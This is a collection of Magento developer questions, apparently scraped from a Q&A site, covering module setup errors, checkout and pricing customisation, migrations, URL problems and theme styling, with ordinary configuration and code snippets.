texts:
I am getting error: Fatal error: Class 'Mage_Assel_Holidays_Helper_Data' not found

Here is config.xml--

<?xml version="1.0" encoding="UTF-8"?>
<config>
  <modules>
        <Assel_Holidays>
            <version>1.0.0</version>
        </Assel_Holidays>
   </modules>
   <admin>
        <routers>
            <holidays>
                <use>admin</use>
                <args>
                    <module>Assel_Holidays</module>
                    <frontName>holi</frontName>
                </args>
            </holidays>
        </routers>
   </admin>
   <frontend>
        <routers>
            <holidays>
                <use>standard</use>
                <args>
                    <module>Assel_Holidays</module>
                    <frontName>holidays</frontName>
                </args>
            </holidays>
        </routers>
    </frontend>
   <global>
      <helpers>
            <holidays>
                <class>Assel_Holidays_Helper</class>
            </holidays>
      </helpers>
      <blocks>
            <holidays>
                <class>Assel_Holidays_Block</class>
            </holidays>
      </blocks>
   </global>
</config>

I have helper class in Data.php in Assel/Holidays/Helper/ folder.

Here is the Data.php

<?php
class Assel_Holidays_Helper_Data extends Mage_Core_Helper_Abstract
{

}

Here is the app/etc/modules/Assel_Holidays.xml--

<?xml version="1.0" encoding="utf-8"?>
<config>
    <modules>
        <Assel_Holidays>
          <active>true</active>
          <codePool>local</codePool>
        </Assel_Holidays>
    </modules>
</config>

I couldn't found out what is the reason behind it.


texts:
I want to enable free shipping if some condition satisfies(programmatically). Which event should I use and how should my observer look like..?

Kindly guide.


texts:
I'm busy doing server side and client side validation for magento. this validation works fine on server side (php)

on the client side i am using javasrcript.

When i started on this. i had my javascript embedded on a phtml file and everything was working as expected.

because i am using magento so I decided to inject the javascript file via page.xml

When I added the javascript code instead of getting the message pulled I get the php as is.

Here is my javascript:

function DefaultAddressErrorChangeNotAllowedMessage() {
alert("<?php echo Mage::helper('invent_general')->getDefaultAddressErrorChangeNotAllowedMessage();?>");
return;

}

I run this when a user hit the onclick it will point to this function DefaultAddressErrorChangeNotAllowedMessage() and the

 <?php echo Mage::helper('invent_general')->getDefaultAddressErrorChangeNotAllowedMessage();?>

will be populated as is.

but when I embed this directly to a phtml file it pull the correct message.

Is there a way for javasrcipt that I can use to escape the php and get the correct message which is pulled from config.xml


texts: Magento2.4 sort by created date not working

texts:
Magento2.4 Sort by created date not working on list page
    case 'new_arrivals':
$this->_collection->getSelect()->order('e.created_at '. $this->getCurrentDirection());
break;

It just says there are no products to display


texts: No url is working after shifting magento 1.9

texts:
I have shifted my magento 1.9 installation from <domain>/shop to <domain>. Front page of my magento loads fine, but none of the link thereafter does not work whatsoever. All of them throws 404 error. All the category pages, products page, admin page, CMS pages throws 404 error.

I followed database approach from link
http://www.inmotionhosting.com/support/website/magento/how-to-change-url

Please help.

To add more info, I have updated table core_config_data, rows with path 'web/unsecure/base_url' and 'web/secure/base_url'. After that, I have cleaned cache, but to no avail.

Then, I tried changing admin url by editing app/var/local.xml, but that also didn't work.


texts: getsku for simple product on configurable product view page

texts:
how can i display the sku from simple products on configurable product page?

i have tried:

$_product->getSku()

$item->setSku($product->getSku())

$simpleOption->getProduct($product)->getSku()

$simple->getSku()


texts: How to restrict a coupon code not to be applicable on the already discounted item?

texts:
How can I restrict a coupon code from being applied to a product which is already discounted.

That means if the product is having the special price or some catalog price rule is applicable on it.Then coupon code should not be applicable on the products.

Is this possible in Magento?


texts: How to optimise database architecture for high volume sites?

texts:
Question is less about specific Mysql configuration items, but more about handling multiple databases, splitting read and writes to multiple database servers, master+master? Master+Multiple Slaves?

What have people had the best experience with, and are there any examples on how to achieve this?


texts: Magento2: How to display product attribute in frontend

texts:
I use this code to display one attribute in frontend:
<?php
    $optionText = '';
    $attr = $_product->getResource()->getAttribute('newbrand_name');

    if ($attr->usesSource()) {
       $optionText = $attr->getSource()->getOptionText($_product->getNewbrandName());
    }
?>
<?php if($optionText){ ?>

<?php echo "Producent: " ?><?php echo $optionText ?>

<?php } ?>

Working correctly.
Can anyone help me modify this code to display two additional attributes? Color and Gender from attribute code:

color

gender


texts: Magento Custom Product Consulting forum with add to Cart

texts:
I am looking a solution for consulting clients. They sell services. We want to create a product where a user first fill a form and then choose how much question he want to ask.
We will charge him based to No of Question

Can someone Give me any idea how we can do this in Magento??

Please help me out


texts: How to remove payment method step in checkout process in Magento 2.3.2

texts:
I have magento Open Source 2.3.2 setup my client don't want any payment method now. How to remove payment method step in checkout process. I just want to place order without selection payment method.

If someone know the answer please share the exact code and folder structure, since i'm new to magento.

Any suggestion welcome in advanced.

Below is the exact representation of the requirement.


texts: How to get the customer ID for search query?

texts:
I want to collect the customer based search query in Magento 2. In the database, I can see the table, search_query but in the table I can't see the customer ID field. In order to get the customer based search query, what I have to do?

Could anyone please help me with this?


texts: How to get the primary key of collection objects?

texts: I have a collection of attributes which was made by combining several tables. I want to get the primary key of the objects resides in this collection. Any suggestions would be helpful,


texts: Problem adding attribute options to configurable product via REST Api

texts:
I have been following the Magento documents about API's.

https://devdocs.magento.com/swagger/index_20.html#/

I am using this API:

  catalogProductAttributeOptionManagementV1

Using Postman I POST via API:

  web/rest/es/V1/products/attributes/sgi_test/options

With the body:

{
    "option": {
        "value": "12",
        "sort_order": 0,
        "is_default": true,
        "store labels": [
            {
                "store_id": 1,
                "label": "U"
            }
        ]
    }
}

And it returns me true but it's not giving me the ID.

What I am seeking for is the ID in order to save the product created into SAP.
Could I use another API? Or modify this one and add a function to get the ID?


texts: How to display only telephone number field in customer registration page

texts:
how to add only telephone field from address fields in registration page of magento.

I have found way to enable address fields. But i need only telephone number field alone from address fields in registration.

Please suggest a way to do this.


texts: Wrong css file applying Cart Page and Checkout

texts:
I am new to Magento. I am working with v. 1.9.2 CE.  I have created my own package("TTO") and theme ("ttoTheme"), applied it and its working fine except for the Cart, Checkout, Account and Registration pages. I haven't tested the email templates yet.

The Home, Category, and Product pages are using the correct stylesheet:

.../skin/frontend/TTO/ttoTheme/css/styles.css

The Cart, Checkout, Account and Registration pages are using the fallback stylesheet in the rwd/default theme:

.../skin/frontend/rwd/default/css/styles.css

Also, these pages are breaking my logo's and images by following the wrong path:

img scr=".../skin/frontend/base/default/images/media/main_logo.png" alt="Nnnn Nnnnn Nnn" class="large"

Where as the home, category and product pages use the correct path:

img scr=".../skin/frontend/TTO/ttoTheme/images/media/main_logo.png" alt="Nnnn Nnnnn Nnn" class="large"

So my question is how would I go about correcting this? My gut says is the offending pages' XML files need to be copied from rwd/default, modified, and then added to my theme. This is just a guess but if it happens to be correct, I need an example.  Can someone provide some input on this?


texts: I have a magento 2 extension installed via ftp. It resides in magento root/app/code. What is the best way to completely re-install the extension? What are the steps to do it? I could not find a definite guide online...


texts: how to override the Setup/Patch/Data file in magento2

texts:
How to override the core "module-store/Setup/Patch/Data/DisableSid.php" into "app/code/Mymodule/Test/" module.
can anyone please help me.

Thanks


texts: get price in shipment email template in magento 2

texts:
I need to get customer order product price for Shipment email template in  configurable products.

I had added  magento-sales/templates/email/items/shipment/default.php

$priceHelper = $_objectManager->create('Magento\Framework\Pricing\Helper\Data');

<?php echo  $priceHelper->currency($product->getFinalPrice(), true, false); ?>

From above code i'm getting default 1st child price. I need to get customer order product price.

Please advise me


texts: Magento 2 Blank Page after successful installation

texts:
I install

Magento version 2.3 with sample data on local server

Wamp PHP 7.2.4
Apache 2.4.33
MySQL 5.7

After successfully install, my interface has nothing, as picture below.

Please Help me!.

Thank you.


texts: Magento 2.4 Catalog_product_get_final_price Event not working with Observer

texts:
I want to create dynamic pricing for the products on the Magento 2 store. After much reading on the internet I understand this can be achieved by:

Create a custom module
Register the event and observer in events.xml
Update the product price in Observer file

I did all of these, however I'm not able to trigger the observer. Can someone please let me know what could be wrong here?
Relevant file contents:

app/code/Vendor/ModuleName/etc/events.xml

<?xml version="1.0" ?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Event/etc/events.xsd">
        <event name="catalog_product_get_final_price">
                <observer instance="Vendor\ModuleName\Observer\Catalog\ProductGetFinalPrice" name="dynamicprice"/>
        </event>
        <event name="catalog_product_prepare_index_select">
                <observer instance="Vendor\ModuleName\Observer\Catalog\ProductGetFinalPrice" name="dynamicprice"/>
        </event>
</config>

app/code/Vendor/ModuleName/Observer/Catalog/ProductGetFinalPrice.php

<?php
/**
 * Copyright ©  All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Vendor\ModuleName\Observer\Catalog;

class ProductGetFinalPrice implements \Magento\Framework\Event\ObserverInterface
{

    /**
     * Execute observer
     *
     * @param \Magento\Framework\Event\Observer $observer
     * @return void
     */
    public function execute(
        \Magento\Framework\Event\Observer $observer
    ) {
            //Your observer code
           echo "Hello";
        $writer = new \Laminas\Log\Writer\Stream(BP . '/var/log/testlog.log');
    $logger = new \Laminas\Log\Logger();
    $logger->addWriter($writer);
    $logger->info("Final Price Observer called..... ");
    $product = $observer->getProduct();
    $logger->info("Prodcut: ".$product);
    }
}

I have the registation.php and module.xml files in the module and it is successfully registered. However, I cannot catch any event in testlog.log file.
I have added a simple product

I expect to refresh this page and the event should trigger.
I event tried moving events.xml to frontend directory but still no good. I don't know how to debug this now. Need help.


texts: Limit billing countries while leaving all shipping countries

texts:
I have 3 Magento sites (not multiSite), 1.7.0.2, 1.8.1, and 1.9.1.

I followed the instructions here > Allow multiple countries for billing but restrict for shipping

I can't seem to limit the billing countries as none of these have  \app\design\frontend\default\Your_Theme\template\checkout\onepage\shipping.phtml

I am using default package as well as a default theme. Is there another method?

I want to only accept USA and CA billing addresses, but accept other countries "ship to's".


texts: Magento2 event when customer session fully initialised

texts:
Is there an event or a method i can use with a plugin that i can use as soon as the customer session is initialised on each and every request?

I want to check some data on the session at the soonest possible time.

I think controller_action_predispatch is to early.


texts:
I have a new cron job collecting data, working with it and so on.
Now I want to send a mail with a template from inside that cron job.

But first I had to load/render my template file(s).

Therefore I have a new method:

private function generatePdf($name, $address, $vatId, $data)
{
    $layout = Mage::app()->getLayout();
    $block = $layout->createBlock('core/template', 'mymodule_mail')
        ->setTemplate('mail/default/html/layout.phtml');
    $grid = $block->setChild('product.item', $block);
    $html = $grid->toHtml();

    return $html;
}

But everytime I start and debug my cron job the $html variable is empty. Nothing. I can see that $block is from type Mage_Core_Block_Template and that the _template has the correct value. But I can't see any HTML-Code.

What am I missing here?

EDIT

Mage::getDesign()->setArea('frontend') //Area (frontend|adminhtml)
->setPackageName('mymodule') //Name of Package
->setTheme('default'); // Name of theme

That helps!

Now I have the problem that I don't know how to set a template for a child?


texts: curl is not operable because of some missing dependecies

texts:
Anybody know what it means this error message? And how to solve it?
We want to install an extension for Full Page Cache in our Magento Store version 1.9.3.
We use Apache Debian 9 for our server.


texts: RequireJS and ES6 Style Javascript Module Plugin (Specifically moment-range for moment js) How To Setup Require Config?

texts:
I want to load this plugin "moment-range" for Moment which is in ES6 Format here: https://github.com/rotaready/moment-range/blob/master/lib/moment-range.js
They do also have it in this format too, not sure what to call it: https://github.com/rotaready/moment-range/blob/1effe5852e7d9312debc6ecb6de334b605bc9fb6/lib/moment-range.js
Their install docs are here:  https://github.com/rotaready/moment-range
So I have my requirejs-config.js like this:
var config = {
map: {
    '*': {
        'moment-range': 'MyCompany_Mymodule/js/utils/moment-range'
    },
    'shim': {
        'moment-range': {
            deps: ['moment']
        }
    }
}

};
and JS file:
define([
    'moment',
    'moment-range'
    ],
    function (moment, momentrange) {

I have tried both versions, but the momentrange is not available inside the module (shows as undefined). I can access "moment" fine, but momentrange is undefined. (moment-range js file does show up if I look at sources under chrome).
Does anyone know the proper way to do this?


texts: Magento 2 payment method code on order success page

texts:
I trying to get the payment method name on order success page on magento 2 but unable to get the data.

i did so far

  checkout_onepage_success.xml

<?xml version="1.0"?>
<body>
    <referenceContainer name="order.success.additional.info">
        <block class="Vendor\Ordersuccess\Block\Checkout\Success"
               name="vendor.order.success"
               template="Vendor_Ordersuccess::order/success.phtml"
               after="-">
        </block>
    </referenceContainer>
</body>

  Block page

namespace Vendor\Ordersuccess\Block\Checkout;

class Success extends \Magento\Checkout\Block\Success {

    public function getPaymentMethod() {
         $order = $this->_orderFactory->create()->load($this->getLastOrderId());
         var_dump(json_decode($order->toArray()));exit;
    }

}

  susess.phtml

<?php echo __('Custom template file content.'); ?>
<?php

var_dump($block->getPaymentMethod());exit;
//echo $block->getSomething(); ?>

I want to get payment detiails on order success please.


texts:
After upgrading to Magento 2.2.0, the Magehit bestseller module is causing  the following exception. Can someone please help solving it?

Thanks

  1 exception(s): Exception #0
  (Magento\Framework\Exception\ValidatorException): Invalid template
  file: 'Magehit_Bestsellerproducts::html/bestsellerblock.phtml' in
  module: 'Magehit_Bestsellerproducts' block's name: 'bestseller_data'

  Exception #0 (Magento\Framework\Exception\ValidatorException): Invalid
  template file:
  'Magehit_Bestsellerproducts::html/bestsellerblock.phtml' in module:
  'Magehit_Bestsellerproducts' block's name: 'bestseller_data'

  #0
  /var/www/vhosts/testdomain/staging.testdomain/generated/code/Magehit/Bestsellerproducts/Block/Home/BestsellerList/Interceptor.php(713):
  Magento\Framework\View\Element\Template->fetchView(false) #1
  /var/www/vhosts/testdomain/staging.testdomain/vendor/magento/framework/View/Element/Template.php(300):
  Magehit\Bestsellerproducts\Block\Home\BestsellerList\Interceptor->fetchView(false)
  #2
  /var/www/vhosts/testdomain/staging.testdomain/vendor/magento/framework/View/Element/AbstractBlock.php(667):
  Magento\Framework\View\Element\Template->_toHtml() #3
  /var/www/vhosts/testdomain/staging.testdomain/generated/code/Magehit/Bestsellerproducts/Block/Home/BestsellerList/Interceptor.php(1038):
  Magento\Framework\View\Element\AbstractBlock->toHtml() #4
  /var/www/vhosts/testdomain/staging.testdomain/vendor/magento/framework/View/Layout.php(558):
  Magehit\Bestsellerproducts\Block\Home\BestsellerList\Interceptor->toHtml()
  #5
  /var/www/vhosts/testdomain/staging.testdomain/vendor/magento/framework/View/Layout.php(534):
  Magento\Framework\View\Layout->_renderBlock('bestseller_data') #6
  /var/www/vhosts/testdomain/staging.testdomain/generated/code/Magento/Framework/View/Layout/Interceptor.php(206):
  Magento\Framework\View\Layout->renderNonCachedElement('bestseller_data')
  #7
  /var/www/vhosts/testdomain/staging.testdomain/vendor/magento/framework/View/Layout.php(489):
  Magento\Framework\View\Layout\Interceptor->renderNonCachedElement('bestseller_data')
  #8
  /var/www/vhosts/testdomain/staging.testdomain/generated/code/Magento/Framework/View/Layout/Interceptor.php(193):
  Magento\Framework\View\Layout->renderElement('bestseller_data', true)
  #9
  /var/www/vhosts/testdomain/staging.testdomain/vendor/magento/framework/View/Layout.php(585):
  Magento\Framework\View\Layout\Interceptor->renderElement('bestseller_data')
  #10
  /var/www/vhosts/testdomain/staging.testdomain/vendor/magento/framework/View/Layout.php(536):
  Magento\Framework\View\Layout->_renderContainer('content')

... further errors


texts: Magento 2 | Display message above payment-method in checkout

texts: how can I show a message above the payment-methods in checkout?


texts: How redirect to any specific page after registration and login instead of default Dashboard

texts:
I want to redirect user to homepage after successful registration or successful login. I found one module in github, but thisn't working.
Github module link https://github.com/mazestricks/Magento2-CreateAcountRedirect


texts: Magento 2 : Add discount amount to applied discount in cart

texts:
In Magento2 cart coupon functionality, when i apply coupon first time it apply discount on cart subtotal, but when i apply coupon second time then old discount amount is replaced by new discount amount.

Is there any way where i can add discount amount to applied discount on cart subtotal?

I know the class "Magento\SalesRule\Model\Quote\Discount" apply discount  but i need to fetch amount of applied coupon code.

Please refer "http://www.9pager.com/the-flow-of-cart-price-rules-discount-whole-cart-in-magento-2/" for discount feature flow.

Thanks


texts: What does it mean to include/exclude tax from catalog prices?

texts:
I can set Catalog Prices to Exclude Tax or Include Tax from System > Configuration > [Sales] Tax. I notices that the formula to calculate tax based on this configuration is in app/code/core/Mage/Tax/Model/Calculation.php:645:

public function calcTaxAmount($price, $taxRate, $priceIncludeTax = false, $round = true)
{
    $taxRate = $taxRate / 100;

    if ($priceIncludeTax) {
        $amount = $price * (1 - 1 / (1 + $taxRate));
    } else {
        $amount = $price * $taxRate;
    }

    return $amount;
}

My problem is I can't understand the formula ($price * (1 - 1 / (1 + $taxRate))). What does it mean to include tax in catalog prices?


texts: Magento Multistore - no pages showing apart from Home page

texts:
I managed to set up another store (subdirectory). Home page works perfectly fine however, only home page is showing. After clicking on any link on the website, every page says

Object not found! The requested URL was not found on this server.

I noticed that it is probably problem with URLs as every link on the website does not show the right path - it is showing

  http://127.0.0.1/name-of-the-page/

instead of

  http://127.0.0.1/name-of-the-folder/name-of-the-page/

Does anyone knows how I could solve this problem? I run out of options, I don't know what else to try to make it work.


texts: Layered Navigation has different Links to the main Navi

texts:
in a shop we have the usual main Navigation, which outputs the url as a clean url-rewrite url, eg: /category-one/sub-category-one/

Now if I click into the first category /category-one and use the layered navigation in the sidebar to get to the sub-category, the URL Link is written as:

/category-one?cat=2 rather than the clean urls version from the main menu:
 /category-one/sub-category-one/

Why is this and how do I change this?

In the code the url is rendered using:

echo $this->getCategoryUrl($_category)

and in the main navi it is rendered with:

$child->getUrl()


texts: php-fpm workaround and Undefined index notices

texts:
In implementing the php-fpm fix/workaround as detailed at:
http://www.magentocommerce.com/boards/v/viewthread/229253/#t383462

It results in "Undefined index: content-type" entries in the system.log for lines 107,114, and 123:

107: if ($sent[$name])
114: if (!is_null($existing = $headers[$name]))
123: if (!is_null($existing = $headersRaw[$name]))

Is there a cleaner way of implementing this fix to avoid these notices?


texts:
I want to migrate magento 1.9 to magento 2 for this I have install magento2 and use magento2-migration tool for migration.

But on the 5th step of migration Migrate Products it gives me CDbException because my magento site has above 30,000 products.

How to migrate products from magento 1.9 to magento 2?


texts: Magento 2: Why my custom CSS isn't working?

texts:
I'm creating a new Magento 2 theme.

I've needed to add custom CSS to I'd created 2 CSS files local-l.css and local-n.css in this location:

app/design/frontend/myvendor/mytheme/Magento_Theme/web/css

in order to test some CSS I've added this to both CSS files:

body {
    background-color: red;
}

also I've added this:

<css src="css/local-m.css" />
<css src="css/local-l.css" media="screen and (min-width: 768px)"/>

to

default_head_blocks.xml

and then run this:

php bin/magento setup:static-content:deploy

also, the cache is all disabled from the backend.

I'm a theory, my page should be red but nothing is happening.

What I'm I doing wrong and how can I fix this?


texts: Is it better to move 1)sub-domain to new main domain or 2)to change the sub-domain name to main domain. in magento

texts:
Before we created sub-domain "steel.newtrendz.com" for magento site. after completion of the site, we planned to move the

entire sub-domain site data  "steel.newtrendz.com" to new main domain "steeloffcuts.co.nz". So we  tried to transfer
data from "steel.newtrendz.com" to "http://steeloffcuts.co.nz/". So we got Database error as follows

"magento SQLSTATE[42000] [1044] Access denied for user to Database"

After lot of frustration, we changed the name "steel.newtrendz.com" to "http://steeloffcuts.co.nz/" in

Configuration>web>Unsecure> base url and in Configuration>web>secure> base url .

Is everything fine. is there any problem with this related to sub-domain & main domain or something else?

Is something else i have to change?

let me know if you have any queries in the question?

Thanks.


texts:
What I would like to do is add a product and a coupon to the cart at the same time from a product page.

The reasoning behind this is we are creating a landing page for a specific coupon and want to add both the product and coupon to the cart with only a single click for the user.


texts:
We've recently tested our website on Magento's own security scan tool and we were advised to install/patch the following:

API ACL - Failed.API ACL Patch not detected (APPSEC-1378) XS
Vulnerability - Failed.XSS Patch not detected (APPSEC-2143)

Now from my understanding, we would need to upgrade our entire Magento installation to have this patched which is technically not what we want to do.
Are there ways to have these 2 patches applied manually? This was always quite straight-forward with Magento 1.9.x but this seems more complex on Magento2.
PS: We're running on a highly customized Magento ver. 2.2.5 installation
Some expert advice would be greatly appreciated, thank you


texts: Magento 2.2: Base URL removed when attempting to access admin login

texts:
Was having problems yesterday with my server, which the community seemed to think were irreparable, so I decided to rebuild it.

Set up a LAMP stack with Redis and re-installed magento. Used my existing database, imported images from the old server and everything was working fine, after a little troubleshooting.

My Redis installation was only being used for session storage, because magento's documentation doesn't make it clear whether a password can be used with redis for other types of storage. I managed to find a walkthrough which gives an example of the env.php file, including passwords for redis default and full page cache. I applied this solution and it appeared to be working last night, but when I attempted to access the admin panel this morning I faced an error.

The public folder of my server is a symlink to [magento_install_dir]/pub.

The base URL is set as follows: http://mywebsite.com/.

Media URL is: {{base_url}}media/.

Static URL is: {{base_url}}static/.

Backend frontname is: admin

For some reason, when I type http://mywebsite.com/admininto the address bar and push enter, I am redirected to the url http://index.php/admin/http:/index/index/index.php/admin/admin/index/index/key/03d43f5c1cec52b7033fd3be4383c7b908e3cf223f94f70edc6c1a3ba682d11f/%3FSID%3D5jmbrv35q7tt5e8kostgr8ijjr/key/4f38776e3016c76ef23af1805de97c2ebf5380684631e4ae24a4506ada844975/?SID=5jmbrv35q7tt5e8kostgr8ijjr

So, for some reason, the base URL either isn't being added, or is being interpreted as /index.php. Also, the second repetition of the url includes two instances of admin/, which makes me think that maybe the backend frontname that I have defined is being appended with the default. I could perhaps troubleshoot this issue, but I can't work out why the URL is not prepended with the site's base URL.


texts: Magento2 addViewsCount not working on Custom Product Attribute Set

texts:
addViewsCount function not working on Custom Attirbute set

How to make it Working for all other product attribute sets ?

As far as i am getting, it is setting the attribute set id to default Attribute set

Please Check it here:
DashBoard -> Most Viewed

File :- vendor/magento/module-reports/Model/ResourceModel/Product/Collection.php

Line 120 :

$this->setProductAttributeSetId($product->getEntityType()->getDefaultAttributeSetId());

Line 322:

$this->getConnection()->quoteInto(
                'e.entity_id = report_table_views.object_id AND e.attribute_set_id = ?',
                $this->getProductAttributeSetId()


texts: Magento 2 Product images not display for another store after upload products using programatically

texts:
I have upload some products using script. I am using below code for upload images.

$objectManager = \Magento\Framework\App\ObjectManager::getInstance();

$product_images = $objectManager->create('\Magento\Catalog\Model\Product')
 ->load($product->getId());

$product_images->addImageToMediaGallery($img,
        array('image', 'small_image', 'thumbnail'), false, false);

$product_images->save();

I have 2 stores and after upload product data i can see products images on first store and on second store i can only see product images on product detail page.

i can't see products images on home page and product list page for second store.

i have already doing indexing and caching process.

can you please help to resolve the issue.


texts: How to Enable/Disable transactional emails by customer?

texts:
I want to setup a customer option like Newsletter Subscription. But for transactional emails.

Is there an extension for that?
How can I do it?


texts: how get image from external source url in detail page

texts:
I'm using magento 2.3,
I need to use external link for img not uploaded in magento end for product Detail page


texts: Magento2: broken layout after installing extension

texts:
I installed a 3rd party extension on Magento2 and followed these instructions:
https://store.orange35.com/media/wysiwyg/guides/Image-Constructor-For-Custom-Options-for-Magento2-Installation-Guide.pdf

The frontend layout is now broken, as if CSS was missing... Even after disabling the extension with

 php -f bin/magento module:disable Orange35_ImageConstructor

The layout is still broken. How can I fix this ?


texts: How can I get rid of all the various database related erros of N98-magerun?

texts:
I wanted to test N98-magerun on my local Mac, using MAMP. I get a lot of errors, for example:

"cache:list" results in:
    [Zend_Db_Adapter_Exception]
    SQLSTATE[HY000] [2002] No such file or directory
    [PDOException]
    SQLSTATE[HY000] [2002] No such file or directory

"open-browser 2"  results in the above message, plus this one:
The command terminated with an error status (2002)

"database:info" results in:
    [InvalidArgumentException]
    There are no commands defined in the "database" namespace.
    The command terminated with an error status (1)

What am I missing? I tried to google, but failed to find any useful info. Please help.


texts: How to add class to My Cart in top.links?

texts:
I would like to add a class to the
 and  of the My Cart link in the top.links menu.

Other solutions online show to remove My Cart:

<remove name="checkout_cart_link"/>

And then re-add My Cart using the addLink method:

        <action method="addLink" translate="label title">
            My Cart
            <url>/checkout/cart</url>
            <title>My Cart</title>
            <prepare />
            <urlParams/>
            <position>3</position>
            <liParams>
                <class>my-cart-list-item</class>
            </liParams>
            <aParams>
                <class>my-cart-anchor</class>
            </aParams>
            <beforeText />
            <afterText />
        </action>

This technically works as it does place the link 'My Cart' in the top.links with a class name on the
 and  tags however the link no longer displays the current count in the user's cart, for example: My Cart (4 items).

How can a class name be added to the
 and  tags for the My Cart link AND continue to display the current cart count (without any core overrides to the addCartLink method) ?

A basic example of the goal output:

  My Cart(4 items)

Edit: This question is for default Magento CE 1.9, not Magento CE 1.9 RWD theme.


texts: magento2 check record exist in my custom method from observer

texts:
In my magento 1.x, there is a function in my observer which checks if there is a product in my custom table, something like this:

class Vendor_Module_Model_Observer
{
  protected $_queue;

  function __construct()
  {
     $this->_queue = Mage::getModel('sync/queue');
  }

  public function productUpdate(Varien_Event_Observer $observer).
  {
     //Check already record is exists in queue table
     $existingProduct = $this->_queue->load($product_id,'product_id');
  }

I want to achieve the same thing in Magento 2.x, i.e. call the getModel() and use the '_queue' in the productUpdate().

How do I use this?

In my magento 2.x observer, I am calling like:

function __construct
(
    \Vendor\Module\Model\Engine $syncEngineFactory
)
{
    $this->syncEngineFactory = $syncEngineFactory;
}

public function execute(\Magento\Framework\Event\Observer $observer)
{
    $event = $observer->getEvent();
    $this->syncEngineFactory->productUpdate($observer);
}

UPDATED ANSWER:

In Model\Engine:

public function __construct(
\Vendor\Module\Model\Queue $_queue,

array $data = []
) {

   $this->_queue=$_queue;
);
}

Where my Model/Queue calls the ResourceModel Queue in the constructor as

$this->_init('Vendor\Module\Model\ResourceModel\Queue');

How do I use the '_queue' in my \Vendor\Module\Model\Engine?


texts: Magento 2 : set product image programatically

texts:
I want to upload a product along with product image, please suggest how to set path or upload image for a product.
here is my code

 try{
                $_product->setName($product["name"]);
                $_product->setTypeId('simple');
                $_product->setAttributeSetId(4);
                $_product->setSku($product["sku"]);
                $_product->setWebsiteIds(array(1));
                $_product->setVisibility(4);
                $_product->setDescription($product["description"]);
                $_product->setPrice($product["price"]);

                $tmpDir = $this->getMediaDirTmpDir();
                $this->file->checkAndCreateFolder($tmpDir);
                $newFileName = $tmpDir . baseName($imageUrl);
                $result = $this->file->read($imageUrl, $newFileName);
                 if ($result) {
                /** add saved file to the $product gallery */
                $_product->setMediaGallery(array('images'=>array (),'values'=>array ()));
                $_product->addImageToMediaGallery(how to set path, what to do,array('image', 'small_image', 'thumbnail'), true, $visible);
                }

         'manage_stock' => 1, //manage stock
   'min_sale_qty' => 1, //Minimum Qty Allowed in Shopping Cart
                        'max_sale_qty' => 2, //Maximum Qty Allowed in Shopping Cart
                        'is_in_stock' => $product['stockstatus'], //Stock Availability
                        'qty' =>  $product['quantity']
                        )
                    );
                $_product->save();

            }
            catch(\Exception $e) {
                 echo $e->getMessage();
            }


texts: Magento 2: How to make custom fee taxable

texts:
I want to add a tax on custom fee. tax calculation is perfect and gets tax amount but it's not set in TAX files in quote_address in the database.

public function collect(
    \Magento\Quote\Model\Quote $quote,
    \Magento\Quote\Api\Data\ShippingAssignmentInterface $shippingAssignment,
    \Magento\Quote\Model\Quote\Address\Total $total
){

  $total->setTaxAmount($total->getTaxAmount()+$taxAmount);
  $total->setBaseTaxAmount($total->getBaseTaxAmount()+$taxAmount);
}

I try to set tax Amount in collect method but it's not set.
I want to same like this thiscode. it's Magento1 but I want Magento 2


texts: Getting wrong footer for custom transactionl email

texts:
This is my trans. email content:

{{template config_path="design/email/header"}}
///custom text
{{template config_path="design/email/footer"}}

and Yes I checked the settings->conf->Design->trans emails -> header/footer template, but I am still getting the default one.

I am sending this trans email via a cronjob. This is my code:

$this->template = Mage::getModel('core/email_template')->load(201);
$mailClass = EmailFactory::getMailClass();
$mail = new $mailClass(
                $reminder->getData('name'),
                $reminder->getData('email'),
                $this->template->getTemplateSubject(),
                'html',
                $storeName,
                $storeEmail,
                $this->template,
                EmailFactory::getEmailModel(), // Mage::getModel('core/email')
                [
                   //some custom params here
                ]);
            try {
                $mail->send();
            }catch(Exception $error){
//log here
            }

The email is sent , i get the right content, but the footer and header is the default one. What am I missing ?
Thank you!


texts: Prevent scroll to top after adding to compare , remains on same position

texts:
On my category page there is a compare button , when clicked the page refresh and scroll to top,
I need to stay on the same position , any idea?
thanks


texts: How can I get rid of the Google search results snippet prefix "Items 1-30 of ..."?

texts:
When the Google search results return a Magento shop category it seems to always be prefixed by the term "Items 1-30 of ...".

It is related to pagination.
If you have less than a full page of products in the category it doesn't appear.

Any suggestions on how we might get rid of that prefix please?


texts: Programatically add minimum order amount in magento2?

texts:
I want minimum order amount 50.

I have configured as:

  System >> configuration >> Sales >> Minimum order amount >> Yes

but default Magento minimum order amount doesn't work.

How to set minimum order amount 50?

Please give me any solution!


texts: Magento 2 : Need to put coupon form and proceed to check-out button outside cart-summary

texts: Currently I have below layout in my cart page. I need to put coupon form and proceed to checkout button outside cart-summary. Please check the second image for what I need. If anyone having knowledge regarding it then please help.Thanks!


texts: Can anyone direct me toward a site where I can find a list of block types and names that I can use?

texts:
Can anyone direct me toward a site where I can find a list of block types and names that I can use or any useful resources? I tried going to System > Configuration > Developer > Debug to activate the path hints, but this option was not available (only 'Profiler' appears, there is no 'Template Path Hints' or Add Block Names to Hints'). I'm running Magento CE 1.7.0.2.

Any guidance would be appreciated, thanks.


texts: How to Solve Check Component Dependency Error during Magento Upgrade?

texts:
I want to update magento-2.1.12 to magento-2.2.7 using Web Setup Wizard.
We faced this error Check Component Dependency(We found conflicting component dependencies.).
How to solve this error? Please guide me.
This is Screenshot of Error


texts: Magento clean install is now doing this during Setup:Static-content:deploy

texts:
A fairly new and clean install on a dev platform.
Magento 2.3.1 using the latest porto theme.
PHP 7.2

Running setup:static-content:deploy seems to be running duplicate versions of each of the themes installed. (Luma, Blank, Porto, Porto RTL and so on....)
I think that this is related or the cause of why I have multiple copies of the same image in the pub/media/catalog/product/....
Inside the catalog folder there are;

image_2.jpg

image_2_1.jpg

image_2_2.jpg

image_2_3.jpg

image_2_4.jpg

image_2_5.jpg

So far I have only created a few simple and configurable products, but at this rate with so many duplicates I'm going to run out of disk space.

Does anyone know what is causing the default deployment to multiply like this, and can anyone tell me if these are directly linked - or how to solve both\either?


texts: How to install extension using composer - Magento EE 2.2 ( Production )

texts:
I am having issue with few extension installation on Magento EE 2.2 production server. Extension works fine on my local system but when i push code to production it gives error Fatal error:

  Uncaught Error: Cannot instantiate interface Vendor\Module\Api\StockistRepositoryInterface

